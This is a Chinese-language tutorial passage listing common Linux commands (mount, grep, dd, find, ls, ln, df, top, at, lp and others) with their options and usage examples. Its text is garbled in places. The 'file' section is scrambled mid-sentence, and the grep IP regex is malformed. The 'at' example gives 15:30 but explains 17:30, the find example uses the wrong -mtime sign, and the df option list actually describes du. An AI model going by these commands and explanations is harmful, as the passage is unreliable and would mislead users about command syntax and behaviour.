目录...在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。3.主要参数--backup[=CONTROL]:为每个已存在的目的地文件进行备份。-b:类似 --backup,但不接受任何参数。-c:(此选项不作处理)。-d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。-D:创建<目的地>前的所有主目录,然后将<来源>复制至 <目的地>;在第一种使用格式中有用。-g,--group=组:自行设定所属组,而不是进程目前的所属组。-m,--mode=模式:自行设定权限模式 (像chmod),而不是rwxr-xr-x。-o,--owner=所有者:自行设定所有者 (只适用于超级用户)。-p,--preserve-timestamps:以<来源>文件的访问/修改时间作为相应的目的地文件的时间属性。-s,--strip:用strip命令删除symboltable,只适用于第一及第二种使用格式。-S,--suffix=后缀:自行指定备份文件的<后缀>。-v,--verbose:处理每个文件/目录时印出名称。--help:显示此帮助信息并离开。--version:显示版本信息并离开。mount1.作用mount命令的作用是加载文件系统,它的用权限是超级用户或/etc/fstab中允许的使用者。2.格式mount -a [-fv] [-t vfstype] [-n] [-rw] [-F] device dir3.主要参数-h:显示辅助信息。-v:显示信息,通常和-f用来除错。-a:将/etc/fstab中定义的所有文件系统挂上。-F:这个命令通常和-a一起使用,它会为每一个mount的动作产生一个行程负责执行。在系统需要挂上大量NFS文件系统时可以加快加载的速度。-f:通常用于除错。它会使mount不执行实际挂上的动作,而是模拟整个挂上的过程,通常会和-v一起使用。-t vfstype:显示被加载文件系统的类型。-n:一般而言,mount挂上后会在/etc/mtab中写入一笔资料,在系统中没有可写入文件系统的情况下,可以用这个选项取消这个动作。4.应用技巧在Linux 和Unix系统上,所有文件都是作为一个大型树(以/为根)的一部分访问的。要访问CD-ROM上的文件,需要将CD-ROM设备挂装在文件树中的某个挂装点。如果发行版安装了自动挂装包,那么这个步骤可自动进行。在Linux中,如果要使用硬盘、光驱等储存设备,就得先将它加载,当储存设备挂上了之后,就可以把它当成一个目录来访问。挂上一个设备使用mount命令。在使用mount这个指令时,至少要先知道下列三种信息:要加载对象的文件系统类型、要加载对象的设备名称及要将设备加载到哪个目录下。(1)Linux可以识别的文件系统◆Windows 95/98常用的FAT 32文件系统:vfat ;◆Win NT/2000 的文件系统:ntfs ;◆OS/2用的文件系统:hpfs;◆Linux用的文件系统:ext2、ext3;◆CD-ROM光盘用的文件系统:iso9660。虽然vfat是指FAT 32系统,但事实上它也兼容FAT 16的文件系统类型。(2)确定设备的名称在Linux 中,设备名称通常都存在/dev里。这些设备名称的命名都是有规则的,可以用“推理”的方式把设备名称找出来。例如,/dev/hda1这个 IDE设备,hd是Hard Disk(硬盘)的,sd是SCSI Device,fd是Floppy Device(或是FloppyDisk?)。a代表第一个设备,通常IDE接口可以接上4个IDE设备(比如4块硬盘)。所以要识别IDE硬盘的方法分别就是hda、hdb、hdc、 hdd。hda1中的“1”代表hda的第一个硬盘分区(partition),hda2代表hda的第二主分区,第一个逻辑分区从hda5开始,依此类推。此外,可以直接检查/var/log/messages文件,在该文件中可以找到计算机开机后系统已辨认出来的设备代号。(3)查找挂接点在决定将设备挂接之前,先要查看一下计算机是不是有个/mnt的空目录,该目录就是专门用来当作挂载点(MountPoint)的目录。建议在/mnt里建几个/mnt/cdrom、/mnt/floppy、/mnt/mo等目录,当作目录的专用挂载点。举例而言,如要挂载下列5个设备,其执行指令可能如下 (假设都是Linux的ext2系统,如果是WindowsXX请将ext2改成vfat):软盘 ===>mount -t ext2 /dev/fd0 /mnt/floppycdrom ===>mount -t iso9660 /dev/hdc /mnt/cdromSCSI cdrom ===>mount -t iso9660 /dev/sdb /mnt/scdromSCSI cdr ===>mount -t iso9660 /dev/sdc /mnt/scdr不过目前大多数较新的Linux发行版本(包括红旗 Linux、中软Linux、Mandrake Linux等)都可以自动挂装文件系统,但RedHat Linux除外。umount1.作用umount命令的作用是卸载一个文件系统,它的使用权限是超级用户或/etc/fstab中允许的使用者。2.格式unmount -a [-fFnrsvw] [-t vfstype] [-n] [-rw] [-F] device dir3.使用说明umount 命令是mount命令的逆操作,它的参数和使用方法和mount命令是一样的。Linux挂装CD-ROM后,会锁定CD—ROM,这样就不能用CD-ROM面板上的Eject按钮弹出它。但是,当不再需要光盘时,如果已将/cdrom作为符号链接,请使用umount/cdrom来卸装它。仅当无用户正在使用光盘时,该命令才会成功。该命令包括了将带有当前工作目录当作该光盘中的目录的终端窗口。chsh1.作用chsh命令的作用是更改使用者shell设定,它的使用权限是所有使用者。2.格式chsh [ -s ] [ -list] [ --help ][ -v ] [username ]3.主要参数-l:显示系统所有Shell类型。-v:显示Shell版本号。4.应用技巧前面介绍了Linux下有多种Shell,一般缺省的是Bash,如果想更换Shell类型可以使用chsh命令。先输入账户密码,然后输入新Shell类型,如果操作正确系统会显示“Shellchange”。其界面一般如下:Changing fihanging shell forcaoPassword:New shell [/bin/bash]: /bin/tcsh上面代码中,[ ]内是目前使用的Shell。普通用户只能修改自己的Shell,超级用户可以修改全体用户的Shell。要想查询系统提供哪些Shell,可以使用chsh-l 命令,见图1所示。图1 系统可以使用的Shell类型从图1中可以看到,笔者系统中可以使用的Shell有bash(缺省)、csh、sh、tcsh四种。exit1.作用exit命令的作用是退出系统,它的使用权限是所有用户。2.格式exit3.参数exit命令没有参数,运行后退出系统进入登录界面。last1.作用last命令的作用是显示近期用户或终端的登录情况,它的使用权限是所有用户。通过last命令查看该程序的log,管理员可以获知谁曾经或企图连接系统。2.格式1ast[—n][-f file][-t tty] [—h 节点][-I —IP][—1][-y][1D]3.主要参数-n:指定输出记录的条数。-f file:指定用文件file作为查询用的log文件。-t tty:只显示指定的虚拟控制台上登录情况。-h 节点:只显示指定的节点上的登录情况。-i IP:只显示指定的IP上登录的情况。-1:用IP来显示远端地址。-y:显示记录的年、月、日。-ID:知道查询的用户名。-x:显示系统关闭、用户登录和退出的历史。动手练习上面介绍了Linux安装和登录命令,下面介绍几个实例,动手练习一下刚才讲过的命令。1.一次运行多个命令在一个命令行中可以执行多个命令,用分号将各个命令隔开即可,例如:#last -x;halt上面代码表示在显示系统关闭、用户登录和退出的历史后关闭计算机。2.利用mount挂装文件系统访问Windows系统许多Linux发行版本现在都可以自动加载Vfat分区来访问Windows系统,而RedHat各个版本都没有自动加载Vfat分区,因此还需要进行手工操作。mount 可以将Windows分区作为Linux的一个“文件”挂接到Linux的一个空文件夹下,从而将Windows的分区和/mnt这个目录联系起来。因此,只要访问这个文件夹就相当于访问该分区了。首先要在/mnt下建立winc文件夹,在命令提示符下输入下面命令:#mount -t vfat /dev/hda1/mnt/winc即表示将Windows的C分区挂到Liunx的/mnt/winc目录下。这时,在/mnt/winc目录下就可以看到Windows中C盘的内容了。使用类似的方法可以访问Windows系统的D、E盘。在Linux系统显示Windows的分区一般顺序这样的:hda1为C盘、hda5为D盘、 hda6为E盘……以此类推。上述方法可以查看Windows系统有一个很大的问题,就是Windows中的所有中文文件名或文件夹名全部显示为问号 “?”,而英文却可以正常显示。我们可以通过加入一些参数让它显示中文。还以上面的操作为例,此时输入命令:#mount -t vfat -oiocharset=cp936 /dev/hda1 /mnt/winc现在它就可以正常显示中文了。3.使用mount加挂闪盘上的文件系统在Linux下使用闪盘非常简单。Linux对USB设备有很好的支持,当插入闪盘后,闪盘被识别为一个SCSI盘,通常输入以下命令:# mount /dev/sda1 /usb就能够加挂闪盘上的文件系统。小知识Linux命令与Shell所谓Shell,就是命令解释程序,它提供了程序设计接口,可以使用程序来编程。学习Shell对于Linux初学者理解Linux系统是非常重要的。 Linux系统的Shell作为操作系统的外壳,为用户提供了使用操作系统的接口。Shell是命令语言、命令解释程序及程序设计语言的统称,是用户和 Linux内核之间的接口程序。如果把Linux内核想象成一个球体的中心,Shell就是围绕内核的外层。当从Shell或其它程序向Linux传递命令时,内核会做出相应的反应。Shell在Linux系统的作用和MS DOS下的COMMAND.COM和Windows 95/98 的 explorer.exe相似。Shell虽然不是系统核心的一部分,只是系统核心的一个外延,但它能够调用系统内核的大部分功能。因此,可以说 Shell是Unux/Linux最重要的实用程序。Linux中的Shell有多种类型,其中最常用的是BourneShell(sh)、CShell(csh)和KornShell(ksh)。大多数Linux发行版本缺省的Shell是Bourne Again Shell,它是BourneShell的扩展,简称bash,与BourneShell完全向后兼容,并且在BourneShell的基础上增加了很多特性。bash放在/bin/bash中,可以提供如命令补全、命令编辑和命令历史表等功能。它还包含了很多CShell和KornShell中的优点,有灵活和强大的编程接口,同时又有很友好的用户界面。Linux系统中200多个命令中有40个是bash的内部命令,主要包括 exit、less、lp、kill、 cd、pwd、fc、fg等。(2)-文件处理命令Linux 系统信息存放在文件里,文件与普通的公务文件类似。每个文件都有自己的名字、内容、存放地址及其它一些管理信息,如文件的用户、文件的大小等。文件可以是一封信、一个通讯录,或者是程序的源语句、程序的数据,甚至可以包括可执行的程序和其它非正文内容。 Linux文件系统具有良好的结构,系统提供了很多文件处理程序。这里主要介绍常用的文件处理命令。file1.作用 件内容判断文件类型,使用权限是所有用户。2.格式file通过探测文file [options] 文件名3.[options]主要参数-v:在标准输出后显示版本信息,并且退出。-z:探测压缩过的文件类型。-L:允许符合连接。-f name:从文件namefile中读取要分析的文件名列表。4.简单说明使用file命令可以知道某个文件究竟是二进制(ELF格式)的可执行文件, 还是ShellScript文件,或者是其它的什么格式。file能识别的文件类型有目录、Shell脚本、英文文本、二进制可执行文件、C语言源文件、文本文件、DOS的可执行文件。5.应用实例如果我们看到一个没有后缀的文件grap,可以使用下面命令:$ file grapgrap: English text此时系统显示这是一个英文文本文件。需要说明的是,file命令不能探测包括图形、音频、视频等多媒体文件类型。mkdir1.作用mkdir命令的作用是建立名称为dirname的子目录,与MS DOS下的md命令类似,它的使用权限是所有用户。2.格式mkdir [options] 目录名3.[options]主要参数-m, --mode=模式:设定权限<模式>,与chmod类似。-p, --parents:需要时创建上层目录;如果目录早已存在,则不当作错误。-v, --verbose:每次创建新目录都显示信息。--version:显示版本信息后离开。4.应用实例在进行目录创建时可以设置目录的权限,此时使用的参数是“-m”。假设要创建的目录名是“tsk”,让所有用户都有rwx(即读、写、执行的权限),那么可以使用以下命令:$ mkdir -m 777 tskgrep1.作用grep命令可以指定文件中搜索特定的内容,并将含有这些内容的行标准输出。grep全称是GlobalRegular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。2.格式grep [options]3.主要参数[options]主要参数:-c:只输出匹配行的计数。-I:不区分大小写(只适用于单字符)。-h:查询多文件时不显示文件名。-l:查询多文件时只输出包含匹配字符的文件名。-n:显示匹配行及行号。-s:不显示不存在或无匹配文本的错误信息。-v:显示不包含匹配文本的所有行。pattern正则表达式主要参数:\\:忽略正则表达式中特殊字符的原有含义。^:匹配正则表达式的开始行。$: 匹配正则表达式的结束行。\\<:从匹配正则表达式的行开始。\\>:到匹配正则表达式的行结束。[ ]:单个字符,如[A]即A符合要求 。[ - ]:范围,如[A-Z],即A、B、C一直到Z都符合要求 。。:所有的单个字符。* :有字符,长度可以为0。正则表达式是Linux/Unix系统中非常重要的概念。正则表达式(也称为“regex”或“regexp”)是一个可以描述一类字符串的模式(Pattern)。如果一个字符串可以用某个正则表达式来描述,我们就说这个字符和该正则表达式匹配(Match)。这和DOS中用户可以使用通配符 “*”代表任意字符类似。在Linux系统上,正则表达式通常被用来查找文本的模式,以及对文本执行“搜索-替换”操作和其它功能。4.应用实例查询DNS服务是日常工作之一,这意味着要维护覆盖不同网络的大量IP地址。有时IP地址会超过2000个。如果要查看nnn.nnn网络地址,但是却忘了第二部分中的其余部分,只知到有两个句点,例如nnnnn..。要抽取其中所有nnn.nnnIP地址,使用[0-9 ]\\{3 \\}\\.[0-0\\{3\\}\\。含义是任意数字出现3次,后跟句点,接着是任意数字出现3次,后跟句点。$grep '[0-9 ]\\{3 \\}\\.[0-0\\{3\\}\\' ipfile补充说明,grep家族还包括fgrep和egrep。fgrep是fix grep,允许查找字符串而不是一个模式;egrep是扩展grep,支持基本及扩展的正则表达式,但不支持\\q模式范围的应用及与之相对应的一些更加规范的模式。dd1.作用dd命令用来复制文件,并根据参数将数据转换和格式化。2.格式dd [options]3.[opitions]主要参数bs=字节:强迫ibs=<字节>及obs=<字节>。cbs=字节:每次转换指定的<字节>。conv=关键字:根据以逗号分隔的关键字表示的方式来转换文件。count=块数目:只复制指定<块数目>的输入数据。ibs=字节:每次读取指定的<字节>。if=文件:读取<文件>内容,而非标准输入的数据。obs=字节:每次写入指定的<字节>。of=文件:将数据写入<文件>,而不在标准输出显示。seek=块数目:先略过以obs为单位的指定<块数目>的输出数据。skip=块数目:先略过以ibs为单位的指定<块数目>的输入数据。4.应用实例dd命令常常用来制作Linux启动盘。先找一个可引导内核,令它的根设备指向正确的根分区,然后使用dd命令将其写入软盘:$ rdev vmlinuz /dev/hda$dd if=vmlinuz of=/dev/fd0上面代码说明,使用rdev命令将可引导内核vmlinuz中的根设备指向/dev/hda,请把“hda”换成自己的根分区,接下来用dd命令将该内核写入软盘。find1.作用find命令的作用是在目录中搜索文件,它的使用权限是所有用户。2.格式find[path][options][expression]path指定目录路径,系统从这里开始沿着目录树向下查找文件。它是一个路径列表,相互用空格分离,如果不写path,那么默认为当前目录。3.主要参数[options]参数:-depth:使用深度级别的查找过程方式,在某层指定目录中优先查找文件内容。-maxdepth levels:表示至多查找到开始目录的第level层子目录。level是一个非负数,如果level是0的话表示仅在当前目录中查找。-mindepth levels:表示至少查找到开始目录的第level层子目录。-mount:不在其它文件系统(如Msdos、Vfat等)的目录和文件中查找。-version:打印版本。[expression]是匹配表达式,是find命令接受的表达式,find命令的所有操作都是针对表达式的。它的参数非常多,这里只介绍一些常用的参数。—name:支持统配符*和?。-atime n:搜索在过去n天读取过的文件。-ctime n:搜索在过去n天修改过的文件。-group grpoupname:搜索所有组为grpoupname的文件。-user 用户名:搜索所有文件属主为用户名(ID或名称)的文件。-size n:搜索文件大小是n个block的文件。-print:输出搜索结果,并且打印。4.应用技巧find命令查找文件的几种方法:(1)根据文件名查找例如,我们想要查找一个文件名是lilo.conf的文件,可以使用如下命令:find / -name lilo.conffind命令后的“/”表示搜索整个硬盘。(2)快速查找文件根据文件名查找文件会遇到一个实际问题,就是要花费相当长的一段时间,特别是大型Linux文件系统和大容量硬盘文件放在很深的子目录中时。如果我们知道了这个文件存放在某个目录中,那么只要在这个目录中往下寻找就能节省很多时间。比如smb.conf文件,从它的文件后缀“.conf”可以判断这是一个配置文件,那么它应该在/etc目录内,此时可以使用下面命令:find /etc -name smb.conf这样,使用“快速查找文件”方式可以缩短时间。(3)根据部分文件名查找方法有时我们知道只某个文件包含有abvd这4个字,那么要查找系统中所有包含有这4个字符的文件可以输入下面命令:find / -name '*abvd*'输入这个命令以后,Linux系统会将在/目录中查找所有的包含有abvd这4个字符的文件(其中*是通配符),比如abvdrmyz等符合条件的文件都能显示出来。(4) 使用混合查找方式查找文件find命令可以使用混合查找的方法,例如,我们想在/etc目录中查找大于500000字节,并且在24小时内修改的某个文件,则可以使用-and (与)把两个查找参数链接起来组合成一个混合的查找方式。find /etc -size +500000c -and-mtime +1mv1.作用mv命令用来为文件或目录改名,或者将文件由一个目录移入另一个目录中,它的使用权限是所有用户。该命令如同DOS命令中的ren和move的组合。2.格式mv[options] 源文件或目录 目标文件或目录3.[options]主要参数-i:交互方式操作。如果mv操作将导致对已存在的目标文件的覆盖,此时系统询问是否重写,要求用户回答“y”或“n”,这样可以避免误覆盖文件。-f:禁止交互操作。mv操作要覆盖某个已有的目标文件时不给任何指示,指定此参数后i参数将不再起作用。4.应用实例(1)将/usr/cbu中的所有文件移到当前目录(用“.”表示)中:$ mv /usr/cbu/ * .(2)将文件cjh.txt重命名为wjz.txt:$ mv cjh.txt wjz.txt ls1.作用ls命令用于显示目录内容,类似DOS下的dir命令,它的使用权限是所有用户。2.格式ls [options][filename]3.options主要参数-a, --all:不隐藏任何以“.” 字符开始的项目。-A, --almost-all:列出除了“ . ”及 “.. ”以外的任何项目。--author:印出每个文件著作者。-b, --escape:以八进制溢出序列表示不可打印的字符。--block-size=大小:块以指定<大小>的字节为单位。-B, --ignore-backups:不列出任何以 ~ 字符结束的项目。-f:不进行排序,-aU参数生效,-lst参数失效。-F, --classify:加上文件类型的指示符号(*/=@| 其中一个)。-g:like -l, but do not list owner。-G, --no-group:inhibit display of groupinformation。-i, --inode:列出每个文件的inode号。-I, --ignore=样式:不印出任何符合Shell万用字符<样式>的项目。-k:即--block-size=1K。-l:使用较长格式列出信息。-L, --dereference:当显示符号链接的文件信息时,显示符号链接所指示的对象,而并非符号链接本身的信息。-m:所有项目以逗号分隔,并填满整行行宽。-n, --numeric-uid-gid:类似-l,但列出UID及GID号。-N, --literal:列出未经处理的项目名称,例如不特别处理控制字符。-p, --file-type:加上文件类型的指示符号 (/=@|其中一个)。-Q, --quote-name:将项目名称括上双引号。-r, --reverse:依相反次序排列。-R, --recursive:同时列出所有子目录层。-s, --size:以块大小为序。4.应用举例ls 命令是Linux系统使用频率最多的命令,它的参数也是Linux命令中最多的。使用ls命令时会有几种不同的颜色,其中蓝色表示是目录,绿色表示是可执行文件,红色表示是压缩文件,浅蓝色表示是链接文件,加粗的黑色表示符号链接,灰色表示是其它格式文件。ls最常使用的是ls- l,见图1所示。图1 使用ls-l命令文件类型开头是由10个字符构成的字符串。其中第一个字符表示文件类型,它可以是下述类型之一:-(普通文件)、d(目录)、l(符号链接)、b(块设备文件)、c(字符设备文件)。后面的9个字符表示文件的访问权限,分为3组,每组3位。第一组表示文件属主的权限,第二组表示同组用户的权限,第三组表示其他用户的权限。每一组的三个字符分别表示对文件的读(r)、写(w)和执行权限(x)。对于目录,表示进入权限。s表示当文件被执行时,把该文件的UID 或GID赋予执行进程的UID(用户ID)或GID(组 ID)。t表示设置标志位(留在内存,不被换出)。如果该文件是目录,那么在该目录中的文件只能被超级用户、目录拥有者或文件属主删除。如果它是可执行文件,那么在该文件执行后,指向其正文段的指针仍留在内存。这样再次执行它时,系统就能更快地装入该文件。接着显示的是文件大小、生成时间、文件或命令名称。diff1.作用diff命令用于两个文件之间的比较,并指出两者的不同,它的使用权限是所有用户。2.格式diff [options] 源文件 目标文件3.[options]主要参数-a:将所有文件当作文本文件来处理。-b:忽略空格造成的不同。-B:忽略空行造成的不同。-c:使用纲要输出格式。-H:利用试探法加速对大文件的搜索。-I:忽略大小写的变化。-n --rcs:输出RCS格式。cmp1.作用cmp(“compare”的缩写)命令用来简要指出两个文件是否存在差异,它的使用权限是所有用户。2.格式cmp[options] 文件名3.[options]主要参数-l: 将字节以十进制的方式输出,并方便将两个文件中不同的以八进制的方式输出。cat1.作用cat(“concatenate”的缩写)命令用于连接并显示指定的一个和多个文件的有关信息,它的使用权限是所有用户。2.格式cat [options] 文件1 文件2……3.[options]主要参数-n:由第一行开始对所有输出的行数编号。-b:和-n相似,只不过对于空白行不编号。-s:当遇到有连续两行以上的空白行时,就代换为一行的空白行。4.应用举例(1)cat命令一个最简单的用处是显示文本文件的内容。例如,我们想在命令行看一下README文件的内容,可以使用命令:$ cat README (2)有时需要将几个文件处理成一个文件,并将这种处理的结果保存到一个单独的输出文件。cat命令在其输入上接受一个或多个文件,并将它们作为一个单独的文件打印到它的输出。例如,把README和INSTALL的文件内容加上行号(空白行不加)之后,将内容附加到一个新文本文件File1 中:$ cat README INSTALL File1(3)cat还有一个重要的功能就是可以对行进行编号,见图2所示。这种功能对于程序文档的编制,以及法律和科学文档的编制很方便,打印在左边的行号使得参考文档的某一部分变得容易,这些在编程、科学研究、业务报告甚至是立法工作中都是非常重要的。图2 使用cat命令/etc/named.conf文件进行编号对行进行编号功能有-b(只能对非空白行进行编号)和-n(可以对所有行进行编号)两个参数:$ cat -b /etc/named.confln1.作用ln命令用来在文件之间创建链接,它的使用权限是所有用户。2.格式ln [options] 源文件 [链接名]3.参数-f:链结时先将源文件删除。-d:允许系统管理者硬链结自己的目录。-s:进行软链结(SymbolicLink)。-b:将在链结时会被覆盖或删除的文件进行备份。链接有两种,一种被称为硬链接(HardLink),另一种被称为符号链接(Symbolic Link)。默认情况下,ln命令产生硬链接。硬连接指通过索引节点来进行的连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(InodeIndex)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件才会被真正删除。与硬连接相对应,Lnux系统中还存在另一种连接,称为符号连接(SymbilcLink),也叫软连接。软链接文件有点类似于Windows的快捷方式。它实际上是特殊文件的一种。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。动手练习上面我们介绍了Linux文件处理命令,下面介绍几个实例,大家可以动手练习一下刚才讲过的命令。1.利用符号链接快速访问关键目录符号链接是一个非常实用的功能。假设有一些目录或文件需要频繁使用,但由于Linux的文件和目录结构等原因,这个文件或目录在很深的子目录中。比如, Apache Web服务器文档位于系统的/usr/local/httpd/htdocs中,并且不想每次都要从主目录进入这样一个长的路径之中(实际上,这个路径也非常不容易记忆)。为了解决这个问题,可以在主目录中创建一个符号链接,这样在需要进入该目录时,只需进入这个链接即可。为了能方便地进入Web服务器(/usr/local/httpd/htdocs)文档所在的目录,在主目录下可以使用以下命令:$ ln -s/usr/local/httpd/htdocs gg这样每次进入gg目录就可访问Web服务器的文档,以后如果不再访问Web服务器的文档时,删除gg即可,而真正的Web服务器的文档并没有删除。2.使用dd命令将init.rd格式的root.ram内容导入内存dd if=/dev/fd0 of=floppy.fddd if=root.ram of=/dev/ram0 #3.grep命令系统调用grep是Linux/Unix中使用最广泛的命令之一,许多Linux系统内部都可以调用它。(1)如果要查询目录列表中的目录,方法如下:$ ls -l | grep '∧d'(2)如果在一个目录中查询不包含目录的所有文件,方法如下:$ ls -l | grep '∧[∧d]'(3)用find命令调用grep,如所有C源代码中的“Chinput”,方法如下:$find /ZhXwin -name *.c -execgrep -q -s Chinput {} \\;-print(3)-系统管理命令对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心。熟悉了Linux常用的文件处理命令以后,这一讲介绍对系统和用户进行管理的命令。df1.作用df命令用来检查文件系统的磁盘空间占用情况,使用权限是所有用户。2.格式df [options]3.主要参数-s:对每个Names参数只给出占用的数据块总数。-a:递归地显示指定目录中各文件及子目录中各文件占用的数据块数。若既不指定-s,也不指定-a,则只显示Names中的每一个目录及其中的各子目录所占的磁盘块数。-k:以1024字节为单位列出磁盘空间使用情况。-x:跳过在不同文件系统上的目录不予统计。-l:计算所有的文件大小,对硬链接文件则计算多次。-i:显示inode信息而非块使用量。-h:以容易理解的格式印出文件系统大小,例如136KB、254MB、21GB。-P:使用POSIX输出格式。-T:显示文件系统类型。4.说明df命令被广泛地用来生成文件系统的使用统计数据,它能显示系统中所有的文件系统的信息,包括总容量、可用的空闲空间、目前的安装点等。超级权限用户使用df命令时会发现这样的情况:某个分区的容量超过了100%。这是因为Linux系统为超级用户保留了10%的空间,由其单独支配。也就是说,对于超级用户而言,他所见到的硬盘容量将是110%。这样的安排对于系统管理而言是有好处的,当硬盘被使用的容量接近100%时系统管理员还可以正常工作。5.应用实例Linux支持的文件系统非常多,包括JFS、ReiserFS、ext、ext2、ext3、ISO9660、XFS、Minx、vfat、MSDOS等。使用df -T命令查看磁盘空间时还可以得到文件系统的信息:#df -T文件系统 类型 容量 已用 可用 已用% 挂载点/dev/hda7 reiserfs 5.2G 1.6G 3.7G 30% //dev/hda1 vfat 2.4G 1.6G 827M 66% /windows/C/dev/hda5 vfat 3.0G 1.7G 1.3G 57% /windows/D/dev/hda9 vfat 3.0G 2.4G 566M 82% /windows/E/dev/hda10 NTFS 3.2G 573M 2.6G 18% /windows/F/dev/hda11 vfat 1.6G 1.5G 23M 99% /windows/G从上面除了可以看到磁盘空间的容量、使用情况外,分区的文件系统类型、挂载点等信息也一览无遗。top1.作用top命令用来显示执行中的程序进程,使用权限是所有用户。2.格式top [-] [ddelay] [q] [c] [S] [s] [i] [n]3.主要参数d:指定更新的间隔,以秒计算。q:没有任何延迟的更新。如果使用者有超级用户,则top命令将会以最高的优先序执行。c:显示进程完整的路径与名称。S:累积模式,会将己完成或消失的子行程的CPU时间累积起来。s:安全模式。i:不显示任何闲置(Idle)或无用(Zombie)的行程。n:显示更新的次数,完成后将会退出top。4.说明top命令是Linux系统管理的一个主要命令,通过它可以获得许多信息。这里我们结合图1来说明它给出的信息。图1 top命令的显示在图1中,第一行表示的项目依次为当前时间、系统启动时间、当前系统登录用户数目、平均负载。第二行显示的是所有启动的进程、目前运行的、挂起(Sleeping)的和无用(Zombie)的进程。第三行显示的是目前CPU的使用情况,包括系统占用的比例、用户使用比例、闲置(Idle)比例。第四行显示物理内存的使用情况,包括总的可以使用的内存、已用内存、空闲内存、缓冲区占用的内存。第五行显示交换分区使用情况,包括总的交换分区、使用的、空闲的和用于高速缓存的大小。第六行显示的项目最多,下面列出了详细解释。PID(ProcessID):进程标示号。USER:进程所有者的用户名。PR:进程的优先级别。NI:进程的优先级别数值。VIRT:进程占用的虚拟内存值。RES:进程占用的物理内存值。SHR:进程使用的共享内存值。S:进程的状态,其中S表示休眠,R表示正在运行,Z表示僵死状态,N表示该进程优先值是负数。%CPU:该进程占用的CPU使用率。%MEM:该进程占用的物理内存和总内存的百分比。TIME+:该进程启动后占用的总的CPU时间。Command:进程启动的启动命令名称,如果这一行显示不下,进程会有一个完整的命令行。top命令使用过程中,还可以使用一些交互的命令来完成其它参数的功能。这些命令是通过快捷键启动的。<空格>:立刻刷新。P:根据CPU使用大小进行排序。T:根据时间、累计时间排序。q:退出top命令。m:切换显示内存信息。t:切换显示进程和CPU状态信息。c:切换显示命令名称和完整命令行。M:根据使用内存大小进行排序。W:将当前设置写入~/.toprc文件中。这是写top配置文件的推荐方法。可以看到,top命令是一个功能十分强大的监控系统的工具,对于系统管理员而言尤其重要。但是,它的缺点是会消耗很多系统资源。5.应用实例使用top命令可以监视指定用户,缺省情况是监视所有用户的进程。如果想查看指定用户的情况,在终端中按“U”键,然后输入用户名,系统就会切换为指定用户的进程运行界面,见图2所示。图2 使用top命令监视指定用户free1.作用free命令用来显示内存的使用情况,使用权限是所有用户。2.格式free [-b|-k|-m] [-o] [-s delay] [-t] [-V]3.主要参数-b -k -m:分别以字节(KB、MB)为单位显示内存使用情况。-sdelay:显示每隔多少秒数来显示一次内存使用情况。-t:显示内存总和列。-o:不显示缓冲区调节列。4.应用实例free命令是用来查看内存使用情况的主要命令。和top命令相比,它的优点是使用简单,并且只占用很少的系统资源。通过-S参数可以使用free命令不间断地监视有多少内存在使用,这样可以把它当作一个方便实时监控器。#free -b -s5使用这个命令后终端会连续不断地报告内存使用情况(以字节为单位),每5秒更新一次。quota1.作用quota命令用来显示磁盘使用情况和限制情况,使用权限超级用户。2.格式quota [-g][-u][-v][-p] 用户名 组名3.参数-g:显示用户所在组的磁盘使用限制。-u:显示用户的磁盘使用限制。-v:显示没有分配空间的文件系统的分配情况。-p:显示简化信息。4.应用实例在企业应用中磁盘配额非常重要,普通用户要学会看懂自己的磁盘使用情况。要查询自己的磁盘配额可以使用下面命令(下例中用户账号是caojh):#quota caojhDisk quotas for user caojh(uid 502):Filesystem blocks quota limit grace files quota limit grace/dev/hda3 58 200000 400000 41 500 1000以上显示ID号为502的caojh账号,文件个数设置为500~1000个,硬盘空间限制设置为200MB~400MB。一旦磁盘配额要用完时,就需要删除一些垃圾文件或向系统管理员请求追加配额。at1.作用at命令用来在指定时刻执行指定的命令序列。2.格式at [-V] [-q x] [-f file] [-m] time3.主要参数-V:显示标准错误输出。-q:许多队列输出。-f:从文件中读取作业。-m:执行完作业后发送电子邮件到用户。time:设定作业执行的时间。time格式有严格的要求,由小时、分钟、日期和时间的偏移量组成,其中日期的格式为MM.DD.YY,MM是分钟,DD是日期,YY是指年份。偏移量的格式为时间+偏移量,单位是minutes、hours和days。4.应用实例#at -f data 15:30 +2 days上面命令表示让系统在两天后的17:30执行文件data中指明的作业。lp1.作用lp是打印文件的命令,使用权限是所有用户。2.格式lp [-c][-d][-m][-number][-title][-p]3.主要参数-c:先拷贝文件再打印。-d:打印队列文件。-m:打印结束后发送电子邮件到用户。-number:打印份数。-title:打印标题。-p:设定打印的优先级别,最高为100。4.应用实例(1)使用lp命令打印多个文件#lp 2 34request id is 11 (3 file(s))其中2、3、4分别是文件名;“requestid is 11 (3 file(s)) ”表示这是第11个打印命令,依次打印这三个文件。(2)设定打印优先级别#lp lp-d LaserJet -p 90 /etc/aliases通过添加“-p 90”,规定了打印作业的优先级为90。它将在优先级低于90的打印作业之前打印,包括没有设置优先级的作业,缺省优先级是50useradd1.作用useradd命令用来建立用户帐号和创建用户的起始目录,使用权限是超级用户。2.格式useradd [-dhome] [-sshell] [-ccomment] [-m [-k template]] [-f inactive] [-e expire ] [-p passwd] [-r] name3.主要参数-c:加上备注文字,备注文字保存在passwd的备注栏中。 